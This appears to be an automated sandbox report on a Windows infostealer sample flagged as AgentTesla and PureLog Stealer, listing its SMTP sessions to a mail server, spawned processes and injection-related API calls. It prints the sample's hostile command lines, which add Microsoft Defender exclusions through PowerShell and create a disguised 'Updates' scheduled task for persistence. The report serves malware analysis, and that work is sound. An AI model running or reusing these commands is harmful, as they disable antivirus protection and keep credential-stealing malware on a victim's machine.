Jan 11, 2025 09:26:07.643043041 CET	587	50029	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:26:15.678908110 CET	587	50030	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-22.iva.yp-c.yandex.net Ok 1736583975-FQkhjY3OmW20
Jan 11, 2025 09:26:15.679153919 CET	50030	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:26:15.900332928 CET	587	50030	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-22.iva.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:26:15.983357906 CET	50030	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:26:16.204453945 CET	587	50030	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:26:22.019037008 CET	587	50031	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-74.vla.yp-c.yandex.net Ok 1736583981-LQkOkEBOlW20
Jan 11, 2025 09:26:22.019265890 CET	50031	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:26:22.249083996 CET	587	50031	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-74.vla.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:26:22.249583006 CET	50031	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:26:22.479201078 CET	587	50031	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:26:28.239857912 CET	587	50032	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-13.klg.yp-c.yandex.net Ok 1736583988-SQkVVOAOmSw0
Jan 11, 2025 09:26:28.240025997 CET	50032	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:26:28.464756012 CET	587	50032	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-13.klg.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:26:28.465151072 CET	50032	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:26:28.689874887 CET	587	50032	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:26:38.713619947 CET	587	50033	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-25.sas.yp-c.yandex.net Ok 1736583998-cQkdYGBOgiE0
Jan 11, 2025 09:26:38.714338064 CET	50033	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:26:38.936347008 CET	587	50033	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-25.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:26:38.936580896 CET	50033	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:26:39.227468014 CET	587	50033	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:26:58.182179928 CET	587	50034	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-47.klg.yp-c.yandex.net Ok 1736584018-wQkarJAOl0U0
Jan 11, 2025 09:26:58.182718039 CET	50034	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:26:58.321758032 CET	587	50035	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-36.sas.yp-c.yandex.net Ok 1736584018-wQk4YFBOcmI0
Jan 11, 2025 09:26:58.321914911 CET	50035	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:26:58.413086891 CET	587	50034	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-47.klg.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:26:58.413254023 CET	50034	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:26:58.549197912 CET	587	50035	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-36.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:26:58.549354076 CET	50035	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:26:58.643589973 CET	587	50034	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:26:58.776812077 CET	587	50035	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:27:05.298255920 CET	587	50036	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-57.myt.yp-c.yandex.net Ok 1736584025-4RkSf08OfOs0
Jan 11, 2025 09:27:05.298664093 CET	50036	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:27:05.522088051 CET	587	50036	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-57.myt.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:27:05.522331953 CET	50036	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:27:05.745806932 CET	587	50036	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:27:21.648519039 CET	587	50037	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-45.myt.yp-c.yandex.net Ok 1736584041-LRkOqv7OoSw0
Jan 11, 2025 09:27:21.648883104 CET	50037	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:27:21.875782013 CET	587	50037	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-45.myt.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:27:21.876019955 CET	50037	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:27:22.102226973 CET	587	50037	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:27:22.861601114 CET	587	50038	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-42.myt.yp-c.yandex.net Ok 1736584042-MRkRc38OgKo0
Jan 11, 2025 09:27:22.874427080 CET	50038	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:27:23.087304115 CET	587	50038	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-42.myt.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:27:23.099958897 CET	50038	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:27:23.312591076 CET	587	50038	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:27:28.855009079 CET	587	50039	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-84.iva.yp-c.yandex.net Ok 1736584048-SRkdkW6MiGk0
Jan 11, 2025 09:27:28.861543894 CET	50039	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:27:29.085764885 CET	587	50039	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-84.iva.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:27:29.086133003 CET	50039	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:27:29.310444117 CET	587	50039	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:27:35.033241987 CET	587	50040	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-84.vla.yp-c.yandex.net Ok 1736584054-YRknO3BOjGk0
Jan 11, 2025 09:27:35.033478975 CET	50040	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:27:35.242974997 CET	587	50041	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-33.iva.yp-c.yandex.net Ok 1736584055-ZRkio47OriE0
Jan 11, 2025 09:27:35.243159056 CET	50041	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:27:35.259954929 CET	587	50040	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-84.vla.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:27:35.260090113 CET	50040	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:27:35.461033106 CET	587	50041	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-33.iva.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:27:35.461252928 CET	50041	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:27:35.486675978 CET	587	50040	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:27:35.679372072 CET	587	50041	77.88.21.158	192.168.2.4	220 Go ahead

Target ID:	0
Start time:	03:23:22
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\kAsh3nmsgs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\kAsh3nmsgs.exe"
Imagebase:	0xa60000
File size:	835'072 bytes
MD5 hash:	71DBD91C836C0B016174CA9E0A2B848A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1733831709.0000000007E10000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1730748161.0000000004719000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1730748161.0000000004AC4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1730748161.0000000004AC4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1730005072.0000000002F19000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:23:24
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\kAsh3nmsgs.exe"
Imagebase:	0x450000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:23:24
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:23:24
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HHhSyZN.exe"
Imagebase:	0x450000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:23:24
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:23:24
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp4794.tmp"
Imagebase:	0xa0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:23:24
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:23:25
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\kAsh3nmsgs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\kAsh3nmsgs.exe"
Imagebase:	0x860000
File size:	835'072 bytes
MD5 hash:	71DBD91C836C0B016174CA9E0A2B848A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.4150670140.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.4150670140.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:23:25
Start date:	11/01/2025
Path:	C:\Users\user\AppData\Roaming\HHhSyZN.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\HHhSyZN.exe
Imagebase:	0xca0000
File size:	835'072 bytes
MD5 hash:	71DBD91C836C0B016174CA9E0A2B848A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.1771700675.0000000004BE4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.1771700675.0000000004BE4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000002.1769194056.0000000003039000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:23:27
Start date:	11/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	03:23:29
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp586D.tmp"
Imagebase:	0xa0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:23:29
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:23:29
Start date:	11/01/2025
Path:	C:\Users\user\AppData\Roaming\HHhSyZN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\HHhSyZN.exe"
Imagebase:	0xbe0000
File size:	835'072 bytes
MD5 hash:	71DBD91C836C0B016174CA9E0A2B848A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.4150523967.000000000301B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.4150523967.000000000301B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	12.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0.8%
Total number of Nodes:	237
Total number of Limit Nodes:	12

Executed Functions

Function 09D50040 Relevance: 7.7, Strings: 4, Instructions: 2699COMMON

Download Yara Rule

Strings

4'^q, xrefs: 09D50EA3
(o^q, xrefs: 09D50116
4'^q, xrefs: 09D5102B
4'^q, xrefs: 09D51F11

Memory Dump Source

Source File: 00000000.00000002.1735315394.0000000009D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d50000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID: (o^q$4'^q$4'^q$4'^q
API String ID: 0-183542557
Opcode ID: 70f53d6db2a7dd3b8f0516f3adf4a792f0921777ac73260f41c3b48689c35d90
Instruction ID: c959a4ea79d90abd421de3abab96fee37ee81a589930549b99e88aac8ea97dbd
Opcode Fuzzy Hash: 70f53d6db2a7dd3b8f0516f3adf4a792f0921777ac73260f41c3b48689c35d90
Instruction Fuzzy Hash: 41530774A41219CFCF24DF68C888A9DB7B2BF49310F158599E95AAB760CB30ED85CF50

Function 09D52DD8 Relevance: 2.8, Strings: 2, Instructions: 349
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4|cq, xrefs: 09D52E28
4|cq, xrefs: 09D52E43

Memory Dump Source

Source File: 00000000.00000002.1735315394.0000000009D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d50000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID: 4|cq$4|cq
API String ID: 0-1798997883
Opcode ID: 960094d3629bc0673188ec6df88818364e1ef54bab3bcc96c9a2c4a78f8eab8b
Instruction ID: 7d319c2bbf00a8cc1e58b17d4122762e34eb9a2fe3cee1f3576d85d256bffe43
Opcode Fuzzy Hash: 960094d3629bc0673188ec6df88818364e1ef54bab3bcc96c9a2c4a78f8eab8b
Instruction Fuzzy Hash: 87C1D235740211CFCF19CF39C494A6ABBB2AF85340B2584A9E856DBB65CB31EC85C7A1

Function 0F1822A8 Relevance: .4, Instructions: 395COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737717003.000000000F180000.00000040.00000800.00020000.00000000.sdmp, Offset: 0F180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f180000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2b35b9865fc0957e46aed7975bfeca44a1c24afb8b21049653a48dc64a41252
Instruction ID: 6f84379e8f701f6895e7d0538ce037f48d23b5f50bbd980419cd62ed478062a4
Opcode Fuzzy Hash: b2b35b9865fc0957e46aed7975bfeca44a1c24afb8b21049653a48dc64a41252
Instruction Fuzzy Hash: 29E1DE31B017449FDB2AFB76C650BAEB7F6AF99300F24446ED0459B2A1CB35E902CB51

Function 0A0452E8 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 500b431e5d6bc840465a0ae7f6d19ad2805f8969dbd045e32432aca0f49cdb4b
Instruction ID: 83b9677320c78be4f9299e46624ab04c92eb9b9419f07482eae65ccb887af5d1
Opcode Fuzzy Hash: 500b431e5d6bc840465a0ae7f6d19ad2805f8969dbd045e32432aca0f49cdb4b
Instruction Fuzzy Hash: F851DE6245E7E16FDB476B7C98B40C23FB0AE17264B0A00E7C4C0CF0A7E559588AD7A6

Function 0F180123 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737717003.000000000F180000.00000040.00000800.00020000.00000000.sdmp, Offset: 0F180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f180000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c71bcf18c2b231fd4f8540c95e55b0d54138fbc614802262c5f13e88fd7cb08
Instruction ID: 2f43fbda3d19937ca9c76df7dfd1d300632c664e81a396f9a54baa3aa84d0857
Opcode Fuzzy Hash: 8c71bcf18c2b231fd4f8540c95e55b0d54138fbc614802262c5f13e88fd7cb08
Instruction Fuzzy Hash: 1511367594921C8FDB24DF64CA80BE8BBB4BB0A300F0541E5D14DA7292D7709A99CF00

Function 0A04CA65 Relevance: 1.7, APIs: 1, Instructions: 247
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0A04CCA6

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c1486e420f7e29e4574a409fb2daca9c1f60f1c0c6bbc4fb87619e57fcebebcf
Instruction ID: 471908ae9a39ad2b9a15177290308ce4c0dddb79c0b47943a60787cc3a0e85a2
Opcode Fuzzy Hash: c1486e420f7e29e4574a409fb2daca9c1f60f1c0c6bbc4fb87619e57fcebebcf
Instruction Fuzzy Hash: 2BA16AB1D0165D9FEB60CFA9C8417EDBBF2BF48310F0481AAE848A7250DB749985CF91

Function 0A04CA70 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0A04CCA6

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 0c20154a4b38504133db2921263115e8f28fa36067c09dfeede759fc65e5e021
Instruction ID: e621c694eff38b1114294f0156dc65b94c4c47556955c994793494cdd0e7be3e
Opcode Fuzzy Hash: 0c20154a4b38504133db2921263115e8f28fa36067c09dfeede759fc65e5e021
Instruction Fuzzy Hash: 269168B1D0165D9FEB20CFA9C8417EDBBF2BF48310F1481AAE808A7250DB749985CF91

Function 01487CC4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 014891B9

Memory Dump Source

Source File: 00000000.00000002.1729500262.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1480000_kAsh3nmsgs.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 2998b77c316391b991344a8359ada5d0c423f16dadc4a4ef9f091e28af7fa534
Instruction ID: ca3cd16faa06d45ab3ea5d32c094d524731fcb96367566ff7bdd8471af7f52d8
Opcode Fuzzy Hash: 2998b77c316391b991344a8359ada5d0c423f16dadc4a4ef9f091e28af7fa534
Instruction Fuzzy Hash: 9941F0B0C00619DFDB24DFA9C844BDEBBF5BF89304F24806AD408AB265DB756985CF90

Function 09D59F78 Relevance: 1.6, APIs: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,09D5ADDD,?,?), ref: 09D5AE8F

Memory Dump Source

Source File: 00000000.00000002.1735315394.0000000009D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d50000_kAsh3nmsgs.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: a150892ecc86454f63027c6c9c3eb89d1b34356cc464e257a8aca9a271d8046c
Instruction ID: a88fcb6c624294242681bf01331fb2422edab16738360363d60bf00d179b429f
Opcode Fuzzy Hash: a150892ecc86454f63027c6c9c3eb89d1b34356cc464e257a8aca9a271d8046c
Instruction Fuzzy Hash: ED3111B59003199FDB10CF9AD884ADEBBF4FF48320F14842AE919A7310D770A944CFA4

Function 09D5ADF0 Relevance: 1.6, APIs: 1, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,09D5ADDD,?,?), ref: 09D5AE8F

Memory Dump Source

Source File: 00000000.00000002.1735315394.0000000009D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d50000_kAsh3nmsgs.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 9cdca4935c051eb6e9eeace07870ff4b764fac2e3b1a156bad7fab69a66b06de
Instruction ID: 6ec84a6ed4409173032ee1d7fe4f839535872b277315e8ac5eb4786d83f62d7a
Opcode Fuzzy Hash: 9cdca4935c051eb6e9eeace07870ff4b764fac2e3b1a156bad7fab69a66b06de
Instruction Fuzzy Hash: C131E0B5A002199FDF10CF9AD884ADEFBF5FF48320F14842AE819A7210D774A944CFA0

Function 09D59F84 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,09D5ADDD,?,?), ref: 09D5AE8F

Memory Dump Source

Source File: 00000000.00000002.1735315394.0000000009D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d50000_kAsh3nmsgs.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 05155e7736336a8e2948b6391407bd45288651723af2a347004f6be52cf8f882
Instruction ID: 72bd47d347b17a86f851cc64061e128fe3df4c291fbf35bde20ebf35831d98a8
Opcode Fuzzy Hash: 05155e7736336a8e2948b6391407bd45288651723af2a347004f6be52cf8f882
Instruction Fuzzy Hash: 7E31C0B59002599FDF10CF9AD884A9EFBF5EB48320F14842AE919A7710D774A944CFA1

Function 0A04C7E1 Relevance: 1.6, APIs: 1, Instructions: 72injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 0A04C878

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

